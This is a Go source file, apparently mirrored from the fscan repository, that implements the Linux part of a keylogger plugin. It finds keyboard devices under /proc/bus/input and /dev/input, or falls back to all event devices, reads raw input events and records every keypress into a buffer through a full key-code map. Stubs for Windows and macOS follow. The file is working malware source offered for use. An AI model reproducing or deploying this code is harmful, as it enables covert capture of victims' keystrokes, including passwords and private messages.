mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
282 lines
6.8 KiB
Go
282 lines
6.8 KiB
Go
// +build linux
|
||
|
||
package keylogger
|
||
|
||
import (
|
||
"bufio"
|
||
"context"
|
||
"encoding/binary"
|
||
"fmt"
|
||
"io/fs"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
)
|
||
|
||
// Linux输入事件结构
|
||
type InputEvent struct {
|
||
Time [2]int64 // struct timeval
|
||
Type uint16
|
||
Code uint16
|
||
Value int32
|
||
}
|
||
|
||
const (
|
||
EV_KEY = 1
|
||
KEY_PRESS = 1
|
||
KEY_RELEASE = 0
|
||
)
|
||
|
||
// checkLinuxRequirements 检查Linux特定要求
|
||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||
common.LogInfo("检查Linux键盘记录权限...")
|
||
|
||
// 检查/dev/input目录访问权限
|
||
if _, err := os.Stat("/dev/input"); os.IsNotExist(err) {
|
||
return fmt.Errorf("/dev/input目录不存在,可能不是标准Linux系统")
|
||
}
|
||
|
||
// 检查是否有输入设备
|
||
inputDevices, err := p.findKeyboardDevices()
|
||
if err != nil {
|
||
return fmt.Errorf("查找键盘设备失败: %v", err)
|
||
}
|
||
|
||
if len(inputDevices) == 0 {
|
||
common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备")
|
||
} else {
|
||
common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices)))
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// startLinuxKeylogging 启动Linux键盘记录
|
||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||
common.LogInfo("启动Linux键盘记录...")
|
||
|
||
// 查找键盘设备
|
||
devices, err := p.findKeyboardDevices()
|
||
if err != nil {
|
||
return fmt.Errorf("查找键盘设备失败: %v", err)
|
||
}
|
||
|
||
if len(devices) == 0 {
|
||
// 如果找不到明确的键盘设备,尝试监听所有事件设备
|
||
devices, err = p.findAllInputDevices()
|
||
if err != nil {
|
||
return fmt.Errorf("查找输入设备失败: %v", err)
|
||
}
|
||
}
|
||
|
||
if len(devices) == 0 {
|
||
return fmt.Errorf("未找到任何输入设备")
|
||
}
|
||
|
||
common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices)))
|
||
|
||
// 启动设备监听goroutine
|
||
for _, device := range devices {
|
||
go p.monitorDevice(ctx, device)
|
||
}
|
||
|
||
// 等待上下文取消
|
||
<-ctx.Done()
|
||
return nil
|
||
}
|
||
|
||
// findKeyboardDevices 查找键盘设备
|
||
func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) {
|
||
var keyboards []string
|
||
|
||
// 检查/proc/bus/input/devices文件
|
||
devicesFile := "/proc/bus/input/devices"
|
||
file, err := os.Open(devicesFile)
|
||
if err != nil {
|
||
common.LogInfo("无法打开/proc/bus/input/devices,尝试扫描/dev/input")
|
||
return p.findAllInputDevices()
|
||
}
|
||
defer file.Close()
|
||
|
||
scanner := bufio.NewScanner(file)
|
||
var currentDevice string
|
||
var isKeyboard bool
|
||
|
||
for scanner.Scan() {
|
||
line := strings.TrimSpace(scanner.Text())
|
||
|
||
if strings.HasPrefix(line, "I:") {
|
||
// 新设备开始
|
||
isKeyboard = false
|
||
currentDevice = ""
|
||
} else if strings.HasPrefix(line, "N:") {
|
||
// 设备名称
|
||
if strings.Contains(strings.ToLower(line), "keyboard") ||
|
||
strings.Contains(strings.ToLower(line), "kbd") {
|
||
isKeyboard = true
|
||
}
|
||
} else if strings.HasPrefix(line, "H:") && isKeyboard {
|
||
// 设备处理器
|
||
parts := strings.Fields(line)
|
||
for _, part := range parts {
|
||
if strings.HasPrefix(part, "event") {
|
||
eventNum := strings.TrimPrefix(part, "event")
|
||
devicePath := fmt.Sprintf("/dev/input/event%s", eventNum)
|
||
keyboards = append(keyboards, devicePath)
|
||
break
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return keyboards, nil
|
||
}
|
||
|
||
// findAllInputDevices 查找所有输入设备
|
||
func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) {
|
||
var devices []string
|
||
|
||
err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error {
|
||
if err != nil {
|
||
return nil // 跳过错误
|
||
}
|
||
|
||
if strings.HasPrefix(d.Name(), "event") {
|
||
devices = append(devices, path)
|
||
}
|
||
|
||
return nil
|
||
})
|
||
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
return devices, nil
|
||
}
|
||
|
||
// monitorDevice 监听设备
|
||
func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) {
|
||
common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath))
|
||
|
||
file, err := os.Open(devicePath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err))
|
||
return
|
||
}
|
||
defer file.Close()
|
||
|
||
for {
|
||
select {
|
||
case <-ctx.Done():
|
||
return
|
||
default:
|
||
var event InputEvent
|
||
err := binary.Read(file, binary.LittleEndian, &event)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err))
|
||
return
|
||
}
|
||
|
||
// 处理键盘事件
|
||
if event.Type == EV_KEY && event.Value == KEY_PRESS {
|
||
keyChar := p.getLinuxKeyChar(event.Code)
|
||
if keyChar != "" {
|
||
p.addKeyToBuffer(keyChar)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// getLinuxKeyChar 获取Linux按键字符
|
||
func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string {
|
||
// Linux内核输入子系统键码映射
|
||
keyMap := map[uint16]string{
|
||
1: "[Esc]",
|
||
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
|
||
12: "-", 13: "=",
|
||
14: "[Backspace]",
|
||
15: "[Tab]",
|
||
16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
|
||
26: "[", 27: "]",
|
||
28: "[Enter]",
|
||
29: "[LCtrl]",
|
||
30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l",
|
||
39: ";", 40: "'",
|
||
41: "`",
|
||
42: "[LShift]",
|
||
43: "\\",
|
||
44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m",
|
||
51: ",", 52: ".", 53: "/",
|
||
54: "[RShift]",
|
||
55: "*",
|
||
56: "[LAlt]",
|
||
57: " ", // 空格
|
||
58: "[CapsLock]",
|
||
59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]",
|
||
65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]",
|
||
69: "[NumLock]",
|
||
70: "[ScrollLock]",
|
||
71: "[Home]",
|
||
72: "[Up]",
|
||
73: "[PgUp]",
|
||
74: "-",
|
||
75: "[Left]",
|
||
76: "[Center]",
|
||
77: "[Right]",
|
||
78: "+",
|
||
79: "[End]",
|
||
80: "[Down]",
|
||
81: "[PgDn]",
|
||
82: "[Insert]",
|
||
83: "[Delete]",
|
||
87: "[F11]", 88: "[F12]",
|
||
96: "[REnter]",
|
||
97: "[RCtrl]",
|
||
98: "/",
|
||
99: "[PrtSc]",
|
||
100: "[RAlt]",
|
||
102: "[Home]",
|
||
103: "[Up]",
|
||
104: "[PgUp]",
|
||
105: "[Left]",
|
||
106: "[Right]",
|
||
107: "[End]",
|
||
108: "[Down]",
|
||
109: "[PgDn]",
|
||
110: "[Insert]",
|
||
111: "[Delete]",
|
||
125: "[LWin]",
|
||
126: "[RWin]",
|
||
127: "[Menu]",
|
||
}
|
||
|
||
if keyName, exists := keyMap[keyCode]; exists {
|
||
return keyName
|
||
}
|
||
|
||
return fmt.Sprintf("[KEY_%d]", keyCode)
|
||
}
|
||
|
||
// checkWindowsRequirements 检查Windows特定要求(Linux平台的空实现)
|
||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
// checkDarwinRequirements 检查Darwin特定要求(Linux平台的空实现)
|
||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
// startWindowsKeylogging 启动Windows键盘记录(Linux平台的空实现)
|
||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
// startDarwinKeylogging 启动Darwin键盘记录(Linux平台的空实现)
|
||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||
return fmt.Errorf("不支持的平台")
|
||
} |